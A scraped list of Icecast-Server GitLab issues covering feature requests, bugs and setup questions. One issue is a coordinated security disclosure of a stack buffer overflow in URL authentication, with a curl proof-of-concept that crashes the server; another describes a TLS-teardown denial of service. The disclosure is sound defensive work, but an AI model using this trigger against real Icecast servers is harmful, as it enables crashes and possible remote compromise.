Icecast-Server issueshttps://gitlab.xiph.org/xiph/icecast-server/-/issues2020-10-15T20:42:13Zhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2359`<listen-socket>` does not support `<http-headers>`2020-10-15T20:42:13ZPhilipp Schafft`<listen-socket>` does not support `<http-headers>`Currently `<listen-socket>` does not support `<http-headers>` as a child. While I see little reason to use this there is no reason why this should not work.Currently `<listen-socket>` does not support `<http-headers>` as a child. While I see little reason to use this there is no reason why this should not work.https://gitlab.xiph.org/xiph/icecast-server/-/issues/2358Improve Icecast's logging of developer only messages2019-04-23T13:54:32ZPhilipp SchafftImprove Icecast's logging of developer only messagesCurrently Icecast logs many details that are only of interest to developers. Those lines "spam" the error log.
There should be a way to disable those messages. This could happen using the well-known DEBUG macro OR by adding another log ...Currently Icecast logs many details that are only of interest to developers. Those lines "spam" the error log.
There should be a way to disable those messages. This could happen using the well-known DEBUG macro OR by adding another log level or log flag (as those messages may themself have different log levels as per their logic).Philipp SchafftPhilipp Schaffthttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2357Alias for <role type="anonymous" deny-all="*">2018-11-13T09:03:30ZPhilipp SchafftAlias for <role type="anonymous" deny-all="*">@ePirat suggested that it would be nice to have an alias for <role type="anonymous" deny-all="*"> that only accepts matching options as well as deny-options. His main reason was to help users not to in-correctly use allow-all="*" as they...@ePirat suggested that it would be nice to have an alias for <role type="anonymous" deny-all="*"> that only accepts matching options as well as deny-options. His main reason was to help users not to in-correctly use allow-all="*" as they may not understand that it actually *is* the opposite of deny-all="*".
Maybe this should be more generalized and a kind of access profiles should be used like:
* deny-all
* listener
* source client
* admin
See also: #2353Thomas B. RückerThomas B. Rückerhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2356Icecast does not handle HTTP Upgrade as to RFC2018-12-14T03:48:15ZPhilipp SchafftIcecast does not handle HTTP Upgrade as to RFCCurrently Icecast 2.5.x does not handle HTTP upgrades correctly. It does not send the final reply to the request doing the upgrade.Currently Icecast 2.5.x does not handle HTTP upgrades correctly. It does not send the final reply to the request doing the upgrade.Philipp SchafftPhilipp Schaffthttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2355DoS vector using incorrect TLS teardown2018-12-07T13:48:18ZPhilipp SchafftDoS vector using incorrect TLS teardownWhen in a TLS SOURCE connection the socket is closed without TLS teardown Icecast will read from the socket in a tight endless loop. This locks up the corresponding thread.
Affected at least: Icecast 2.4.4, Icecast 2.5 beta 2.
May be re...When in a TLS SOURCE connection the socket is closed without TLS teardown Icecast will read from the socket in a tight endless loop. This locks up the corresponding thread.
Affected at least: Icecast 2.4.4, Icecast 2.5 beta 2.
May be related to OpenSSL version. Tested with version 1.0.1t.Philipp SchafftPhilipp Schaffthttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2354Improve way of what URI is sent to YP2022-03-21T23:14:53ZPhilipp SchafftImprove way of what URI is sent to YPAt this point the URI sent to YP servers is based on the hostname and global port setting. However this does not work with TLS enabled and may not work for more complex setups with internal-/external-split (including different hostnames)...At this point the URI sent to YP servers is based on the hostname and global port setting. However this does not work with TLS enabled and may not work for more complex setups with internal-/external-split (including different hostnames).
An attribute to the `<directory>` tag should be added that takes the ID of a `<listen-socket>` on which behalf the YP submission should be made. That `<listen-socket>` may be `type="virtual"`.
See: #2171Marvin ScholzMarvin Scholzhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2353Rename auth backend "anonymous"2023-03-09T14:07:53ZPhilipp SchafftRename auth backend "anonymous"Currently the backend that matches all users is called "`anonymous`". This is technically correct by the way how it works and what it initially was meant to be used for. However that name might be misleading as to not match logged in use...Currently the backend that matches all users is called "`anonymous`". This is technically correct by the way how it works and what it initially was meant to be used for. However that name might be misleading as to not match logged in users.
I suggest that it should be renamed. The name "anonymous" would become an alias to ensure older configurations can still be read.
What new name should it have?Thomas B. RückerThomas B. Rückerhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2352`<resource>` should allow `<authentication>`, and `<http-headers>`2018-11-05T08:07:15ZPhilipp Schafft`<resource>` should allow `<authentication>`, and `<http-headers>``<resource>`s should allow to set resource specific `<authentication>`, and `<http-headers>`.
This depends on: #2349 (for refobject and to-be-written lists)`<resource>`s should allow to set resource specific `<authentication>`, and `<http-headers>`.
This depends on: #2349 (for refobject and to-be-written lists)Philipp SchafftPhilipp Schaffthttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2351Multiple ACLs per Role2020-10-18T16:15:17ZPhilipp SchafftMultiple ACLs per RoleIcecast should support multiple ACLs per role.
This is useful with matching in ACLs. It allows to authenticate a user and after that decide what access that user has based on matching.
Depends on: #2349 (for to-be-written lists), and #...Icecast should support multiple ACLs per role.
This is useful with matching in ACLs. It allows to authenticate a user and after that decide what access that user has based on matching.
Depends on: #2349 (for to-be-written lists), and #2350 (for matching).Philipp SchafftPhilipp Schaffthttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2350Common matching frame work2019-01-22T06:31:38ZPhilipp SchafftCommon matching frame workCurrently the following parts of Icecast do client and client-status matching:
* `<resource>`
* `<role>` (auth)
* `<header>` (child of `<http-headers>`)
* `<event>` (child of `<event-bindings>`)
We also expect the following new users so...Currently the following parts of Icecast do client and client-status matching:
* `<resource>`
* `<role>` (auth)
* `<header>` (child of `<http-headers>`)
* `<event>` (child of `<event-bindings>`)
We also expect the following new users soon:
* `<acl>` (child of `<auth>`)
A common framework should be written to allow implementing matching.
This depends on #2349 (for refobject).Philipp SchafftPhilipp Schaffthttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2348Auth backend for enforcing initial 4012019-04-23T13:54:32ZPhilipp SchafftAuth backend for enforcing initial 401There should be an auth backend that enforces an initial 401 reply.
This would be useful to off-load generation of those initial replies from other backends such as the URL auth backend.
This works by:
```
If (!user || !password) {
...There should be an auth backend that enforces an initial 401 reply.
This would be useful to off-load generation of those initial replies from other backends such as the URL auth backend.
This works by:
```
If (!user || !password) {
return failed;
} else {
return no match;
}
```Philipp SchafftPhilipp Schaffthttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2347ACL should support names2020-10-15T14:20:49ZPhilipp SchafftACL should support namesACLs should support name=""s just like Roles do for easier administration.
This will become more important when Icecast will support multiple ACLs per Role.ACLs should support name=""s just like Roles do for easier administration.
This will become more important when Icecast will support multiple ACLs per Role.Philipp SchafftPhilipp Schaffthttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2346Icecast does not support absolute-form, and authority-form requests2018-11-06T08:33:24ZPhilipp SchafftIcecast does not support absolute-form, and authority-form requestsIcecast currently does not support absolute-form, and authority-form requests as per Section 5.3.2/5.3.3 of RFC7230. This is a "MUST" requirement as per RFC.Icecast currently does not support absolute-form, and authority-form requests as per Section 5.3.2/5.3.3 of RFC7230. This is a "MUST" requirement as per RFC.Philipp SchafftPhilipp Schaffthttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2345For close-only-review2018-11-09T07:32:50ZPhilipp SchafftFor close-only-reviewThe following tasks should be closed as they are or re-opened for review as per comment.
* [x] #2085
* [x] #2057
* [x] #2017
* [x] #2171
* [x] #1195
* [x] #1296The following tasks should be closed as they are or re-opened for review as per comment.
* [x] #2085
* [x] #2057
* [x] #2017
* [x] #2171
* [x] #1195
* [x] #1296Thomas B. RückerThomas B. Rückerhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2344Crash Icecast 2.4.3 on CentOS 7.52020-10-18T15:38:53ZMichelCrash Icecast 2.4.3 on CentOS 7.5Hi,
We running Icecast v2.4.3 on the Last version of CentOS Linux release 7.5.1804 (Core).
And its crash every 3 a 4 days. We see in the systemlog:
kernel: traps: icecast[5425] general protection ip:7ff3b209cc19 sp:7ffc63b5a910 error:0...Hi,
We running Icecast v2.4.3 on the Last version of CentOS Linux release 7.5.1804 (Core).
And its crash every 3 a 4 days. We see in the systemlog:
kernel: traps: icecast[5425] general protection ip:7ff3b209cc19 sp:7ffc63b5a910 error:0 in libssl.so.1.0.2k[7ff3b2070000+67000]
We run OpenSSL 1.0.2k-fips 26 Jan 2017 on CentOS 7.5 using the last updates.
We use dual stack ipv4/ipv6 and run on ssl and streaming on flac, opus and mp3.
Best regards,
Michelhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2342Security vulnerability: buffer overflow in URL authentication allows remote c...2018-11-05T08:00:08ZNick RolfeSecurity vulnerability: buffer overflow in URL authentication allows remote code executionHello,
I would like to report a security vulnerability in the Icecast server.
## The bug
`url_add_client` in `auth_url.c` contains this call inside a loop:
```
post_offset += snprintf(post + post_offset,
sizeo...Hello,
I would like to report a security vulnerability in the Icecast server.
## The bug
`url_add_client` in `auth_url.c` contains this call inside a loop:
```
post_offset += snprintf(post + post_offset,
sizeof(post) - post_offset,
"&%s%s=%s",
url->prefix_headers ? url->prefix_headers : "",
cur_header, header_valesc);
```
If the string to be written is longer than `sizeof(post) - post_offset`, `snprintf` will truncate the string, but will return *the number of bytes it would have written if the buffer were large enough*. This means that `post_offset` is incremented to be larger than `sizeof(post)`, and any subsequent iteration of the loop will write beyond the end of the buffer.
## Proof of concept
I configured a mount using URL authentication that forwards two headers:
```
<mount type="normal">
<mount-name>/auth_url.ogg</mount-name>
<authentication type="url">
<option name="headers" value="x-foo,x-bar"/>
...
</authentication>
</mount>
```
My Icecast server was running on localhost, port 8000, and then I ran the following Bash script:
```
foo=$(python -c "print('a' * 3950)")
bar=123456789123456789
curl -H "x-foo: $foo" -H "x-bar: $bar" http://localhost:8000/auth_url.ogg
```
The `x-foo` header was truncated, but it caused `postoffset` to be incremented beyond the size of the buffer, as described above. The subsequent handling of the `x-bar` header overwrote other stack contents, causing my Icecast server to crash:
```
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)
```
By controlling the length of the `x-foo` header, and the contents of the `x-bar` header, it seems likely that remote code execution would be possible.
## Related bug
Our automated analysis highlighted this bug, and another similar misuse of `snprintf` in `format_prepare_headers` in `format.c`, but I did not investigate whether that one would be exploitable.
Those analysis results are visible here: https://lgtm.com/projects/g/xiph/Icecast-Server/alerts/?mode=tree&ruleFocus=1505913226124
## Disclosure
Please let me know when you have fixed the vulnerability, so that we can coordinate our disclosure with yours. For reference, here is a link to our vulnerability disclosure policy: https://lgtm.com/security
Thanks!
--Nick Rolfe, Semmle Security Research TeamThomas B. RückerThomas B. Rückerhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2341Improvements to auth_result and it's usage (more and better results)2018-10-27T17:00:55ZPhilipp SchafftImprovements to auth_result and it's usage (more and better results)The enum auth_result currently implements:
* "undefined": The code comments this as "XXX: ???",
* "ok": client passed the auth backend successfully,
* "failed": client did not pass (because of invalid credentials or because of backend ma...The enum auth_result currently implements:
* "undefined": The code comments this as "XXX: ???",
* "ok": client passed the auth backend successfully,
* "failed": client did not pass (because of invalid credentials or because of backend malfunction),
* "released": used internally for on-disconnect handlers,
* "forbidden": unused,
* "no match": client is unknown to this backend,
* "user added", "user exists", "user deleted": used by management functions.
I suggest to change this the following way:
* Make "forbidden" settable by auth backends for permanent no-passes. This would terminate any auth retry. It could be useful for when the client *IS* identified (credentials match) but the backend forbids access (user has been banned, access has been terminated, ...).
* Add "backend failed" that indicates a problem with the backend, not the credentials. Such failures would include non-responsive backend servers (e.g. with URL auth) or misconfiguration (e.g. invalid file for htpasswd auth).
* Add a "user modified" for management functions as the current set does not allow updating users (only delete-then-add-again patterns).Philipp SchafftPhilipp Schaffthttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2340authentication subsystem should allow the user to send a custom error2018-10-16T06:39:31ZPhilipp Schafftauthentication subsystem should allow the user to send a custom errorThe authentication subsystem should to send a custom error in case of negative match (deny).
The error to return should be selected by it's report XML UUID.
Example config would look like this:
```xml
<authentication>
<role type="a...The authentication subsystem should to send a custom error in case of negative match (deny).
The error to return should be selected by it's report XML UUID.
Example config would look like this:
```xml
<authentication>
<role type="anonymous" deny-all="*" reject-with="f955b6c6-aaca-4734-aacc-67d86bf83c3b" />
</authentication>
```
This would also be in-line with `AUTH_ALTER_SEND_ERROR`.Philipp SchafftPhilipp Schaffthttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2339After logrotate Icecast not using new access.log and error.log files2018-09-28T13:24:06ZDoug TinklenbergAfter logrotate Icecast not using new access.log and error.log filesThe logrotate postrotate command is this for Icecast: */bin/kill -HUP `cat /var/run/icecast/icecast.pid 2>/dev/null` 2> /dev/null || true*
The Icecast installation doesn't create the icecast folder in /var/run so there is no icecast.p...The logrotate postrotate command is this for Icecast: */bin/kill -HUP `cat /var/run/icecast/icecast.pid 2>/dev/null` 2> /dev/null || true*
The Icecast installation doesn't create the icecast folder in /var/run so there is no icecast.pid file.
So what's happening is that after a logrotate the Icecast service continues to use the access.log-date file rather then the new access.log file that is created during the logrotate. The only way to get it to use the new log files is to restart the icecast service.
Why is the logrotate command trying to kill a pid file that doesn't exist and is there another postrotate command that should be used instead.https://gitlab.xiph.org/xiph/icecast-server/-/issues/2338SSL support on Ubuntu 18.042019-01-26T10:42:02ZSimon CechacekSSL support on Ubuntu 18.04Hello,
I am trying to run Icecast on my Ubuntu 18.04 with SSL enabled. When I add the official repository to the system and then use `apt-get install icecast2`, everything will work except that when I will turn the SSL on, I will `get I...Hello,
I am trying to run Icecast on my Ubuntu 18.04 with SSL enabled. When I add the official repository to the system and then use `apt-get install icecast2`, everything will work except that when I will turn the SSL on, I will `get INFO connection/get_ssl_certificate No SSL capability` message, I pre-installed OpenSSL befory icecast installation."
any Idea how to fix this?
I also tried to build by Icecast from the source with the custom path ovf openssl pramater enabled (just put there the default openssl path) and it worked, but this icecast is installed as an app and not as a service, so don't how to reload config without dropping listeners (i need to add relays withour restarting the server as it will server as a proxy).
Thanks for all your time!